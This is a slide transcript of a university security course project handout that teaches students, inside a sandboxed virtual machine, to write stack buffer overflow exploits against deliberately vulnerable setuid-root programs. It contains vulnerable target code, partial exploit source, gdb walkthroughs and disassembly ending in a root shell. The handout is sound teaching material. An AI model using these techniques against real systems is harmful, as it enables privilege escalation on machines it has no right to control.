1 / 39

Programming Project # 1

Programming Project # 1. cs155 Due: Thursday, April 21 st , 11:59pm Shayan Guha Elizabeth Stinson. Overview. You’ll be given the source code for 7 short buggy programs (target[1-7].c). These programs will be installed with setuid root

belnora
Download Presentation

Programming Project # 1

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Programming Project # 1 cs155 Due: Thursday, April 21st, 11:59pm Shayan Guha Elizabeth Stinson

  2. Overview • You’ll be given the source code for 7 short buggy programs (target[1-7].c). These programs will be installed with setuid root • Your job is to write exploits (sploit[1-7].c) that when run as user can get the target programs to run /bin/sh for you as root • Each ‘sploit basically execve’s its corresponding target with a buffer as its parameter – all you have to do is craft that buffer appropriately. • All of this will be done in a sandbox – “Do no evil”

  3. Getting the code • ssh into ONE OF THE FIRST FIVE RAPTOR MACHINES • Create a cs155 directory to store the targets + sploits in your afs space • Then from that directory do: $ tar -xvzf /usr/class/cs155/projects/pp1/cs155-pp1.tar.gz • Create a directory in the /tmp partition of one of the first five raptor machines – this is where you’ll store the sandbox’s file system image (cow) cd /tmp mkdir <SUNet ID>

  4. More getting started… Open an xterm window, then set up environment from it: raptor2:/tmp/stinson> setenv BOXESDIR /var/tmp/boxes raptor2:/tmp/stinson> setenv BOXESHOME /tmp/stinson raptor2:/tmp/stinson> setenv PATH /var/tmp/boxes:$PATH Put this in your .cshrc file

  5. Running boxes Then start up boxes: raptor9:/tmp/stinson> xterm –e $BOXESDIR/string &  starts up the “switch daemon”; leave this running raptor9:/tmp/stinson> $BOXESDIR/openbox cow1 10.64.64.64 • We all use the same IP? Yes. It’s a virtual IP for a virtual network. • Note: openbox vs. closedbox • Openbox: changes you make to files mounted on boxes will filter down • Need to be running openbox in order to issue mount? I think so. • Closedbox: what we’ll be testing with

  6. Now what? • A virtual console should pop up • There are two accounts on these boxes: Username: user Password: user Username: root Password: root • Log in as root

  7. More getting started • Then should see: box:~# • Do: box:~# TERM=vt100 box:~# cd /etc box:~# nano inittab • OPTIONAL – to popup more consoles when you run boxes, edit “inittab” via uncommenting out lines: ##2:23:respawn:/sbin/getty 38400 vc/2 ##3:23:respawn:/sbin/getty 38400 vc/3

  8. More… • Now those lines in inittab should look like: 2:23:respawn:/sbin/getty 38400 vc/2 3:23:respawn:/sbin/getty 38400 vc/3 • CNTRL-X and save your changes (they will be saved to the cow so that you won’t have to re-execute these steps every time) • Then do: box:~# halt Only root can halt; causes all consoles to close…

  9. finally… • Then restart via: raptor9:/tmp/stinson> $BOXESDIR/openbox cow1 10.64.64.64 • Then log in as root again and: box:~# mount none -t hostfs /mnt –o /afs/ir/users/s/t/stinson/cs155/pp1

  10. Whoops, a bit more • Then you’ll need to: • Copy the sploits dir to ~user • chown user:user ~user/* • Copy the individual targets to /tmp • cd to /tmp • chown root:root for each of the targets • Make the targets • setuid the targets - chmod 4755 for each of the target binaries

  11. Will I have to do that all every time? • No. • Be aware that the /tmp partitions get cleaned out periodically (about every week); so your cow image may be lost! zip it up when you’re taking a break between exploits and copy it into your afs space. • The /tmp directory for boxes will also be cleaned everytime you restart it – so copy the code from /tmp to /root before you shut it down

  12. Boxes resources • Please see… (a) boxes/FAQ  a bit on setting up boxes  a bit on gcc stack alignment  plus other misc (b) boxes/README  more on the boxes system

  13. GDB • GDB: http://www.sens.buffalo.edu/UBiquity/software/gnu/doc/web/share/doc/gdb/html/gdb/ • Google “Using GDB: A Guide to the GNU Source-Level Debugger” • See especially: • Examining Stack Data x/a : to print contents of an address (word)  x/a buf prints first 4 bytes of buf variable Press <enter> to walk up the stack 4 bytes at a time x/s : to print a string • Registers : $sp (stack pointer); $fp (frame pointer); $pc (program counter) p/x $pc : to print the program counter in hex x/i $pc : to print the instruction to be executed next info registers : to print all regs + their values • Looking at assembly: disassemble <function name>

  14. IA-32 references • Go here: http://developer.intel.com/design/pentium4/manuals/index_new.htm#sdm_vol1 • See in particular pages 137-160 of this: ftp://download.intel.com/design/Pentium4/manuals/25366514.pdf • HTML list of all IA-32 assembly: http://www.cs.tut.fi/~siponen/upros/intel/

  15. IA-32 review • $esp : Stack Pointer (SP) : points to the bottom of the stack (lowest mem address) • Points to last used word in stack or next available word location on stack (implementation dependent) • $ebp : Frame Pointer (FP) : points to fixed location within an activation record (stack frame) • If $ebp for some stack frame is stored at addy X then $eip for that frame is stored at addy X + 4 • Used to reference local vars and parameters since the distance from any of those to the frame pointer will not change whereas the distance from those to the stack pointer will (as other functions are called and the stack pointer is decrem’d …) • $eip : instruction pointer (aka $ra) • “The instruction pointer (EIP) register contains the offset in the current code segment for the next instruction to be executed.”

  16. More IA-32 review • When CALL procedure p(), • Push eip : the return address ($ra) • Push ebp : saves previous frame pointer • Copy sp into fp : ebp = esp • The new AR’s frame pointer will be the previous value of the stack pointer • Advance sp (esp) for allocations on stack (that is, decrement it) – done via the push instruction • When LEAVE procedure p(), • This process is reversed • Load ebp into esp • Restore ebp from the stack

  17. Interaction between EIP, EBP, ESP • During CALL, value of eip register pushed onto stack • Before RET, programmer should make sure that stack pointer (esp) is pointing to the eip on the stack; does this via: • Move contents of $ebp into $esp • Increment $esp by 4 • $esp should now point to (contain addy of) $eip • RET will load the value stored in $esp into the $eip register then jump to that value

  18. Stack Layout void function( int a, int b, int c ) { char buf1[5]; char buf2[10]; } Stack: c b a $ra [ eip ] ebp  $fp [ ebp ] <other stuff…> buf1 – word aligned (so takes 8 bytes, not 5) buf2 – word aligned (so takes 12 bytes, not 10) esp  [ esp points somewhere down here… ]

  19. Stack Layout – function return void function( int a, int b, int c ) { char buf1[5]; char buf2[10]; } Stack: ebp  [top of caller’s function stack] c b a esp  $ra [ eip ] $fp [ ebp ] <other stuff…> buf1 – word aligned (so takes 8 bytes, not 5) buf2 – word aligned (so takes 12 bytes, not 10) [ esp points somewhere down here… ]

  20. Hacking references • “Smashing the Stack for Fun and Profit” • AlephOne, linked to on course site • “Exploiting Format String Vulnerabilities” • team teso, linked to on course site • Chapter 7: Exploiting Software Hoglund & McGraw (not required but nice) • Phrack • Prof. Boneh’s April 4th lecture

  21. target1.c int foo( char *arg, char *out ) { strcpy( out, arg ); return 0; } int main( int argc, char *argv[] ) { char buf[64]; if ( argc != 2 ) { … } foo( argv[1], buf ); return 0; }

  22. Stack in target1 – layout in mem argv[1] == <shellcode + buf’s addy> argv[0] == “/tmp/target1” argc $ra – to which main() will return $fp – for main’s stack frame buf[64] ptr to buf == “out” // args to foo() ptr to argv[1] == “arg” // args to foo()

  23. sploit1 • Need: • Location of return address (addy on stack where $ra that we’re going to overwrite lives) • main()’s $ra since that’s the $ra *above* the buf so that’s the one we’ll be able to overwrite • Not foo()’s, right? why not? • So we know how much we have to overwrite… • Address of the buffer (“buf” in target1) • So we know what address we want to force the program to jump to

  24. More on sploit1 • So just run the program using gdb and see where the $fp and the $ra live relative to where the buf (in target1) lives • So if buf’s addy is: 0x9ffffe60 • And the $ra for main() is at: 0x9ffffeac • Then we need to make our exploit buffer: 0x9ffffeac – 0x9ffffe60 == 0x4C  76 + 4 • So we’ll make it 81 and null terminate it

  25. Buf addy • Note that the exact addy of the target1 buf will change depending upon how big the buf you allocate in sploit1.c is – since your buf will live *above* the target1 buf on the stack • But once you fix your buf size, the addy of the target1 buf on the stack won’t change.

  26. Crafting the exploit string • Well, we’re going to have the target program jump to the start of our string so we’ll want to put the shellcode (size 45 bytes) at the start of the string (note aleph1 suggestion re: using nops) • Then we know that the $ra exists at offset 76 so we need to be sure that our string[76] contains the addy of the target1 buf (0x9ffffe60)

  27. sploit1.c … #define SIZE 81 … char string[SIZE]; // our attack string char *ptr = string; // to walk thru string a char at a time long *addr_ptr = (long *)string; // to walk thru string a word at a time long addr = 0x9ffffe60; // the addy of the buffer: where we want control to jump to int i; for ( i = 0; i < SIZE; i+=4 ) // fill our attack string with the desired $ra *( addr_ptr++ ) = addr; for ( i = 0; i < strlen( shellcode ); i++ ) // write the shellcode at the beg of the buf *( ptr++ ) = shellcode[i]; string[ SIZE - 1 ] = '\0'; // null terminate our string

  28. Finishing up sploit1.c • Then we set: args[1] = string; • The rest is unchanged. Re-make. • Execute via: user@box:/tmp/sploits$ ./sploit1 sh-2.05b$ whoami root sh-2.05b$

  29. Debugging user@box:/tmp/sploits$ gdb –e sploit1 –s /tmp/target1 [gdb intro message] (gdb) r (gdb) b main (gdb) b foo (gdb) c (gdb) x/s 0x9fffff91 // prints “/tmp/target1” Also, “stepi” “disass” …; see “help”

  30. More debugging user@box:/tmp/sploits$ gdb –e sploit1 –s /tmp/target1 is same as: user@box:/tmp/sploits$ gdb (gdb) symbol-file /tmp/target1 (gdb) exec-file sploit1

  31. Walking through a working sploit user@box:/tmp/sploits$gdb –e sploit1 –s /tmp/target1 (gdb) r (gdb) b main (gdb) b foo (gdb) c (gdb) p/x $fp  0x9ffffeb0 [now we’re in main()] (gdb) p/x $sp  0x9ffffe50 (gdb) p/x $pc  0x8048413 (gdb) x/a buf  0x9ffffe60 (gdb) c (gdb) s [now we’re in foo()] (gdb) s

  32. (gdb) s [back in main() now…] (gdb) x/a buf [contains shellcode now] (gdb) p/x $fp  0x9ffffeb0 (gdb) p/x $sp  0x9ffffe50 (gdb) p/x $pc  0x8048451 (gdb) stepi (gdb) x/i $pc  0x8048456 <main+83> : leave (gdb) stepi

  33. (gdb) x/a $pc  0x8048456 <main+84> : ret Next instruction exec’d will be ret; when you call ret: eip = ebp // set the current PC… // …to be the value stored at ebp jump eip // jump to that newly reloaded PC & execute (gdb) x/a $sp  0x9ffffe60 [the contents of $sp] (gdb) stepi  0x9ffffe60 in ?? [we’re in the buf!] (gdb) c sh-2.05b$

  34. The stack 0x9ffffef8 | 0x9fffff9e | argv[1] : f9e = SHELLCODE 0x9ffffef4 | 0x9fffff91 | argv[0] : f91 = "/tmp/target1" 0x9ffffef0 | 2 | argc <SNIP> 0x9ffffeb8 | 0x9fffff00 | <--- argv[1] : f00 points to NULL 0x9ffffeb4 | 0x9ffffef4 | <--- argv[0] : ef4 points to f91 0x9ffffeb0 | 2 | <--- argc 0x9ffffeac | __libc_start_main+198 | <--- $ra : what we want to overwrite 0x9ffffea8 | 0x9ffffec8 | <--- $fp : frame pointer 0x9ffffea4 | 0x9ffffef4 | <--- argv[0] : ef4 points to f91 0x9ffffea0 | _rtld_global | <--- garbage alignment stuff? 0x9ffffe9c | | ------last word of buf------ <SNIP> 0x9ffffe60 | | ------beginning of buf------ 0x9ffffe5c | | 0x9ffffe58 | | 0x9ffffe54 | 0x9ffffe60 | argv[1] <-- points to beginning of buf 0x9ffffe50 | 0x9fffff9e | argv[0] <-- points to shellcode 0x9ffffe4c | 0x8048461 | <--- $ra in foo() <main+78> 0x9ffffe48 | 0x9ffffea8 | <--- $fp in foo()

  35. Details • Before the LEAVE instruction, we have esp = 0x9ffffea0 ebp = 0x9ffffef8 • Then after the LEAVE instruction, we have esp = 0x9ffffefc  == ebp + 4 ebp = 0x9fffff18 • So: esp = ebp + 4 (the $ra is stored just above in memory the $fp) • Then we jump to the value stored at esp

  36. (gdb) disass main 0x08048413 <main+0>: push %ebp 0x08048414 <main+1>: mov %esp,%ebp 0x08048416 <main+3>: sub $0x58,%esp 0x08048419 <main+6>: and $0xfffffff0,%esp 0x0804841c <main+9>: mov $0x0,%eax 0x08048421 <main+14>: sub %eax,%esp 0x08048423 <main+16>: cmpl $0x2,0x8(%ebp) 0x08048427 <main+20>: je 0x804844a <main+55> 0x08048429 <main+22>: movl $0x8048584,0x4(%esp,1) 0x08048431 <main+30>: mov 0x80496a4,%eax 0x08048436 <main+35>: mov %eax,(%esp,1) 0x08048439 <main+38>: call 0x80482e4 0x0804843e <main+43>: movl $0x1,(%esp,1) 0x08048445 <main+50>: call 0x8048304 0x0804844a <main+55>: lea 0xffffffb8(%ebp),%eax 0x0804844d <main+58>: mov %eax,0x4(%esp,1) 0x08048451 <main+62>: mov 0xc(%ebp),%eax 0x08048454 <main+65>: add $0x4,%eax 0x08048457 <main+68>: mov (%eax),%eax 0x08048459 <main+70>: mov %eax,(%esp,1) 0x0804845c <main+73>: call 0x80483f4 <foo> 0x08048461 <main+78>: mov $0x0,%eax 0x08048466 <main+83>: leave 0x08048467 <main+84>: ret End of assembler dump.

  37. (gdb) disass foo Dump of assembler code for function foo: 0x080483e4 <foo+0>: push %ebp 0x080483e5 <foo+1>: mov %esp,%ebp 0x080483e7 <foo+3>: sub $0xa8,%esp 0x080483ed <foo+9>: and $0xfffffff0,%esp 0x080483f0 <foo+12>: mov $0x0,%eax 0x080483f5 <foo+17>: sub %eax,%esp 0x080483f7 <foo+19>: lea 0xffffff78(%ebp),%eax 0x080483fd <foo+25>: mov %eax,0xffffff74(%ebp) End of assembler dump.

  38. General suggestions / strategy • Look at the targets and figure out what you *can* do for each: can you overflow the buffer? If so, by how much? If not, is there a format string vulnerability? No? Other weirdness? • Find the weakness first: even if you only have a general idea of what it is • Then, read + research • Get big picture of what exactly the weakness is and how an attack on that weakness works • Get detailed picture of how such an attack works • Then figure out how to adapt that model to the specific code you’re given

  39. Non suggestions • Madly tweak code, using random $ra’s or writing random amounts, … hoping to strike gold. It probably won’t work (certainly not for sploits >= 2).

More Related